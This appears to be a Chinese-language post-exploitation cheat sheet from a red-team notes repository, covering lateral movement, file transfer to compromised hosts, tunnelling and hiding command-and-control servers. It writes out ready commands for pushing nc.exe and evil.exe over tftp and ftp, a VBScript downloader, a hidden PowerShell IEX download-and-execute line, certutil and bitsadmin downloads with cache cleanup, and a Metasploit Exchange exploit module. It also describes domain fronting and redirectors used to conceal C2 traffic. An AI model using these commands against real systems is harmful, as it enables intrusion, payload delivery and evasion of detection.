Skip to content

Latest commit

 

History

History
647 lines (488 loc) · 19.1 KB

后渗透.md

File metadata and controls

647 lines (488 loc) · 19.1 KB

后渗透


免责声明

本文档仅供学习和研究使用,请勿使用文中的技术源码用于非法用途,任何人造成的任何负面影响,与本人无关.


大纲


后渗透案例


横向扩展

基于IPC$的横向

PTH/PTK/PTT


文件传输

web-servers

相关工具

  • sc0tfree/updog - 用于替代 Python 的 SimpleHTTPServer 的工具,自带401认证服务
    pip3 install updog
    updog --port 8888 --password test1234
    

本地服务

以下部分内容来自 部分内容来自 部分内容来自项目 [willurd/web-servers.md]

在当前目录起个 8000 端口的 HTTP 服务

  • Python 2.x

    python -m SimpleHTTPServer 8000
  • Python 3.x

    python -m http.server 8000
  • Twisted (Python)

    twistd -n web -p 8000 --path .

    or

    python -c 'from twisted.web.server import Site; from twisted.web.static import File; from twisted.internet import reactor; reactor.listenTCP(8000, Site(File("."))); reactor.run()'
  • Ruby

    ruby -rwebrick -e'WEBrick::HTTPServer.new(:Port => 8000, :DocumentRoot => Dir.pwd).start'
  • Ruby 1.9.2+

    ruby -run -ehttpd . -p8000
  • adsf (Ruby)

    gem install adsf   # install dependency
    adsf -p 8000
  • Sinatra (Ruby)

    gem install sinatra   # install dependency
    ruby -rsinatra -e'set :public_folder, "."; set :port, 8000'
  • Perl

    cpan HTTP::Server::Brick   # install dependency
    perl -MHTTP::Server::Brick -e '$s=HTTP::Server::Brick->new(port=>8000); $s->mount("/"=>{path=>"."}); $s->start'
  • Plack (Perl)

    cpan Plack   # install dependency
    plackup -MPlack::App::Directory -e 'Plack::App::Directory->new(root=>".");' -p 8000
  • Mojolicious (Perl)

    cpan Mojolicious::Lite   # install dependency
    perl -MMojolicious::Lite -MCwd -e 'app->static->paths->[0]=getcwd; app->start' daemon -l http://*:8000
  • http-server (Node.js)

    npm install -g http-server   # install dependency
    http-server -p 8000
  • node-static (Node.js)

    npm install -g node-static   # install dependency
    static -p 8000
  • PHP (>= 5.4)

    php -S 127.0.0.1:8000
  • Erlang

    erl -s inets -eval 'inets:start(httpd,[{server_name,"NAME"},{document_root, "."},{server_root, "."},{port, 8000},{mime_types,[{"html","text/html"},{"htm","text/html"},{"js","text/javascript"},{"css","text/css"},{"gif","image/gif"},{"jpg","image/jpeg"},{"jpeg","image/jpeg"},{"png","image/png"}]}]).'
  • busybox httpd

    busybox httpd -f -p 8000
  • webfs

    webfsd -F -p 8000
  • IIS Express

    C:\> "C:\Program Files (x86)\IIS Express\iisexpress.exe" /path:C:\MyWeb /port:8000

FTP

tftp

基于 udp,端口为 69

  • 攻击端起 tftp

    mkdir /tftp
    atftpd --daemon --port 69 /tftp
    cp /usr/share/windows-binaries/nc.exe /tftp/
    chown -R nobody /tftp
  • 目标机

    tftp -i <kali-ip> GET nc.exe

ftp

  • 攻击端

    apt-get install -y pure-ftpd
    
    groupadd ftpgroup
    useradd -g ftpgroup -d /dev/null -s /etc ftpuser
    pure-pw useradd username -u ftpuser -d /ftphome
    pure-pw mkdb
    cd /etc/pure-ftpd/auth/
    ln -s ../conf/PureDB 60pdb
    mkdir -p /ftphome
    chown -R ftpuser:ftpgroup /ftphome/
    /etc/init.d/pure-ftpd restart
    ./setup-ftp(输入要设置的密码)

    攻击端使用 python 起 ftp:

    apt-get install -y python-pyftpdlib
    mkdir /ftp
    cd /ftp/
    python -m pyftpdlib -p 21
    

    此时目标机连接的时候,用户名为 anonymous,密码随意

  • 目标机 目标机的远程 shell 上运行

    echo open <kali-ip> 21> ftp.txt
    echo username>> ftp.txt
    echo password>> ftp.txt
    echo bin >> ftp.txt
    echo GET evil.exe >> ftp.txt
    echo bye >> ftp.txt
    ftp -s:ftp.txt

    目标机上传文件(连接状态):

    ftp> put target.exe(如果是 windows 且文件在其他盘,需使用绝对路径)

    关闭 ftp:

    /etc/init.d/pure-ftpd stop

    windows下

    ftp
    username
    password
    get file
    exit 或者 bye
    
    ftp -s:test.txt
    

Linux

文章

查看语言/代码支持情况

find / -name perl*
find / -name python*
find / -name gcc*
find / -name cc

查找可利用于传输文件的命令

find / -name wget
find / -name nc*
find / -name netcat*
find / -name tftp*
find / -name ftp
find / -name scp

nc

#
nc -nvlp 4444 > aaa
#
nc -nv 192.168.30.35 4444 </usr/share/aaa    # kali

Win

文章

vbscript

echo strUrl = WScript.Arguments.Item(0) > wget.vbs
echo strFile = WScript.Arguments.Item(1) >> wget.vbs
echo Const HTTPREQUEST_PROXYSETTING_DEFAULT = 0 >> wget.vbs
echo Const HTTPREQUEST_PROXYSETTING_PRECONFIG = 0 >> wget.vbs
echo Const HTTPREQUEST_PROXYSETTING_DIRECT = 1 >> wget.vbs
echo Const HTTPREQUEST_PROXYSETTING_PROXY = 2 >> wget.vbs
echo Dim http,varByteArray,strData,strBuffer,lngCounter,fs,ts >> wget.vbs
echo Err.Clear >> wget.vbs
echo Set http = Nothing >> wget.vbs
echo Set http = CreateObject("WinHttp.WinHttpRequest.5.1") >> wget.vbs
echo If http Is Nothing Then Set http = CreateObject("WinHttp.WinHttpRequest") >> wget.vbs
echo If http Is Nothing Then Set http = CreateObject("MSXML2.ServerXMLHTTP") >> wget.vbs
echo If http Is Nothing Then Set http = CreateObject("Microsoft.XMLHTTP") >> wget.vbs
echo http.Open "GET",strURL,False >> wget.vbs
echo http.Send >> wget.vbs
echo varByteArray = http.ResponseBody >> wget.vbs
echo Set http = Nothing >> wget.vbs
echo Set fs = CreateObject("Scripting.FileSystemObject") >> wget.vbs
echo Set ts = fs.CreateTextFile(StrFile,True) >> wget.vbs
echo strData = "" >> wget.vbs
echo strBuffer = "" >> wget.vbs
echo For lngCounter = 0 to UBound(varByteArray) >> wget.vbs
echo ts.Write Chr(255 And Ascb(Midb(varByteArray,lngCounter + 1,1))) >> wget.vbs
echo Next >> wget.vbs
echo ts.Close >> wget.vbs

攻击端起 http 服务

cp exploit.exe /var/www/
service apache2 start

在目标机执行 vb 命令,会生成 wget.vbs

dir wget.vbs
cscript wget.vbs http://<kali-ip>/exploit.exe (要下载的文件)exploit.exe(保存成的文件名)

powershell

同样,攻击端起 http 服务

echo $storageDir =$pwd > wget.ps1
echo $webclient = New-Object System.Net.WebClient >>wget.ps1
echo $url = "http://<kali-ip>/exploit.exe" >>wget.ps1
echo $file = "new-exploit.exe" >>wget.ps1
echo $webclient.DownloadFile($url,$file) >>wget.ps1

在目标机执行 powershell 命令,会生成 wget.ps1 目标机执行:

powershell.exe -ExecutionPolicy Bypass -NoLogo -NonInteractive -NoProfile -File wget.ps1

或使用下面这种方法

$p = New-Object System.Net.WebClient
$p.DownloadFile("https://img.alicdn.com/tps/TB1XLjqNVXXXXc4XVXXXXXXXXXX-170-64.png","D:\Temp\4.png")
powershell .\test.ps1

远程下载文件保存在本地

powershell (new-object System.Net.WebClient).DownloadFile('http://192.168.1.1/1/evil.txt','evil.exe')

有的时候 PowerShell 的执行权限会被关闭,需要使用如下的语句打开。

powershell set-executionpolicy unrestricted

远程执行命令

powershell -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://192.168.1.1/1/evil.txt'))"

smb

  1. 在公网创建一个共享如:\111.111.111.111\test$
  2. 命令行下执行 net use \111.111.111.111\test$ /u:test test
  3. 最后上传文件到共享,命令行下拷贝:copy \111.111.111.111\test$\test.exe c:\

Bitsadmin

bitsadmin 是一个命令行工具,可用于创建下载或上传工作和监测其进展情况。

bitsadmin /transfer n http://192.168.1.1/1/evil.txt d:\test\1.txt

certutil

用于备份证书服务,支持 xp-win10 都支持。由于 certutil 下载文件都会留下缓存,所以一般都建议下载完文件后对缓存进行删除。

缓存目录为: %USERPROFILE%\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content

# 下载
certutil -urlcache -split -f http://192.168.28.128/imag/evil.txt test.php

# 删除缓存
certutil -urlcache -split -f http://192.168.28.128/imag/evil.txt delete

ipc$

# 建立远程 IPC 连接
net use \\192.168.28.128\ipc$ /user:administrator "abc123!"

# 复制远程文件到本地主机
copy \\192.168.28.128\c$\2.txt D:\test

隐匿技术

流量隐藏技术

相关文章

端口转发

端口转发是转发一个网络端口从一个网络节点到另一个网络节点的行为。

文章

工具

应用层隧道

ssh

ssh -L 8080:127.0.0.1:80 [email protected]       # 本地转发
ssh -R 8080:127.0.0.1:80 [email protected]       # 远程转发
ssh -D 1080 root@sshserver                      # 动态端口转发

网络层隧道

ICMP

代理

相关文章

相关利用案例

反向代理


C2隐藏技术

相关文章

CDN

让 cdn 转发合法的 http 或者 https 流量来达到隐藏的目的。

受害主机上只会有跟 cdn 的 ip 通信的流量,不会有跟真实 C2 通信的流量,可以保护 C2 的 ip,但是域名还是会暴露。

相关文章

实验

域前置

Domain fronting

同一个 cdn 厂商下倘若有两个域名 a.com,b.com,这时候我们使用 curl 命令访问第一个 a.com 并将 host 名改为 b.com 这时候,实际访问的是 b.com 的内容。而一般的监测机制是不会检测 host 头的。

通过一个高信任域名隐藏自己的真实域名与 ip,且受害主机上只有跟 cdn 通信的流量。

相关文章

重定向

两台 vps,一台做重定向,一台是真正的 C2,而受害者只与那台做重定向的机器通信,重定向机器只会转发来自 beacon 的特定流量到 C2 控制端主机,对于其他流量可以自定义设置处理方法,一般是采用重定向到一些高信誉域名上例如百度等。

受害者上只会有与重定向机器之间的流量,不会有与真实 c2 服务器的流量,重定向服务器会将非 beacon 的请求重定向到一些高信誉域名上,达到迷惑的目的,不过如果受害者 ban 掉了重定向机器的 ip,对攻击者的损失也是很大的。

相关文章

相关项目

实验


侧信道

工具


权限提升


权限维持


windows域

域渗透相关文章(总结类)

域基础知识

域认证

  • 关于 windows 域认证的基本知识点可见笔记 认证

域环境

  • 关于 windows 域环境组成的基本知识点可见笔记 认证

域环境搭建

  • 关于 windows 域认证的基本知识点可见笔记 认证

域内信息收集

Exchange

工具

CVE-2018-8581 任意用户伪造漏洞

CVE-2019-1040

CVE-2020-0688 远程代码执行漏洞

CVE-2020-16875 远程代码执行漏洞

  • 简介

    由于对 cmdlet 参数的验证不正确,Microsoft Exchange 服务器中存在一个远程执行代码漏洞。成功利用此漏洞的攻击者可以在系统用户的上下文中运行任意代码。利用此漏洞需要拥有以某个 Exchange 角色进行身份验证的用户权限,由于 Exchange 服务以 System 权限运行,触发该漏洞亦可获得系统最高权限。

  • MSF 模块

    use exploit/windows/http/exchange_ecp_dlp_policy
    

Proxylogon

认证

跨域